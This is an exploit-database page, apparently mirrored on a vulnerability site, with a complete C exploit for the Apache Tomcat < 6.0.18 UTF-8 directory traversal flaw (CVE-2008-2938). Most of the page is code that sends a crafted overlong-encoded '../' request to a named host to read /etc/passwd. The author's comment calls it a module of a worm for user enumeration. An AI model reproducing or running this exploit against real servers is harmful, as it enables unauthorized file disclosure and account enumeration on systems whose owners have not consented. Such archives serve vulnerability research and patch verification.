Lucene search
K

Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal

🗓️ 28 Jul 2010 00:00:00Reported by mywisdomType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 54 Views

Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerabilit

Code
/*Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit
c0d3r: mywisdom
thanks for not being lame to change exploit author
tis is one of my linux w0rm module for user enumerations, i've dual os worm
thanks to: gunslinger,flyf666,petimati,kiddies,xtr0nic,c0mrade,n0te,v3n0m,iblis muda,cr4wl3r
thanks to: isa m said, whitecyber
thanks to all devilzc0de crews and members, all jasakom crews and members
    * EDB-ID: 6229
    * CVE: 2008-2938
    * OSVDB-ID: 47464
    * Author: Simon Ryeo
    * Published: 2008-08-11
    * Verified: Verified
greetz to inj3ct0r crews:
31337 Inj3ct0r Members:

cr4wl3r, The_Exploited, eidelweiss, SeeMe, XroGuE, agix, gunslinger_, Sn!pEr.S!Te, indoushka,

Sid3^effects, L0rd CrusAd3r, Th3 RDX, r45c4l, Napst3r?, etc..
not so good but worth to try if our target directory structure has /usr/local/wwwroot

*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define EXPLOIT "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\n\n"
#define RCVBUFSIZE 9999  
#define tester "root:x" 	
void cls()
 {
 char esc = 27;
 printf("%c%s",esc,"[2J");
 printf("%c%s",esc,"[1;1H");
 }
int main(int argc,char **argv)
{
if(argc<2)
  {
   /**checking argument to avoid memory wasting for useless variables in vma**/
   cls();
   printf("\nApache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit\n");
   printf("\nc0d3r: mywisdom\n");     
   printf("\nusage:./tomcatevil hotname\n");
   exit(1);
  }
else
 {
  
 int port=80;
 char echobuf[RCVBUFSIZE];
 int rval,sockfd, bytesrcv, totalbytes;
 struct hostent *he;
 struct sockaddr_in their_addr;
 if((he=gethostbyname(argv[1])) == NULL)
  {
   perror("\nSorry please recheck your target hostname !\n");
   exit(1);
  }
  else
  {
   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
     perror("socket()");
     exit(1);
    }
    else
    {
        //exploiting and try to get /etc/passwd
  their_addr.sin_family = AF_INET;

 printf("\n[-]Checking whether port %d opens or not\n",port);
 their_addr.sin_port = htons(port);
 their_addr.sin_addr = *((struct in_addr *)he->h_addr);
 memset(&(their_addr.sin_zero), '\0', 8);
 if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
  {
  perror("failed to connect !!!");
  
  }
 else
 {
 printf("\n[+]Port 80 opens !!! now sending your exploit to our target\n");
 if(send(sockfd, EXPLOIT,999,0)==-1)
   {
 perror ("send");
   }
 else
   {
       totalbytes=0;
       while (totalbytes < RCVBUFSIZE) 
        { 
       
        if ((bytesrcv = recv(sockfd, echobuf, RCVBUFSIZE - 1, 0)) <= 0) 
            {

            }
            else
            {  
              totalbytes += bytesrcv;  
              echobuf[bytesrcv] = '\0';   
               
            }
           totalbytes++; 
        } 
    
  
   }

   if(echobuf)
       {
        
        rval=strstr (echobuf, tester);
          if(rval)
             {
            printf(echobuf);
            printf("\n[+]w00t!!! target vulnerable! exploitation success u may see /etc/passwd above !!!\n");
            exit(1);
             } 
             else
            {
            printf(echobuf);
            printf("\n[-]target not vulnerable !!!\n");
            exit(1);
            } 
       } 

 }
 close(sockfd);



       //eof exploiting

    }
   }

 } 


}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation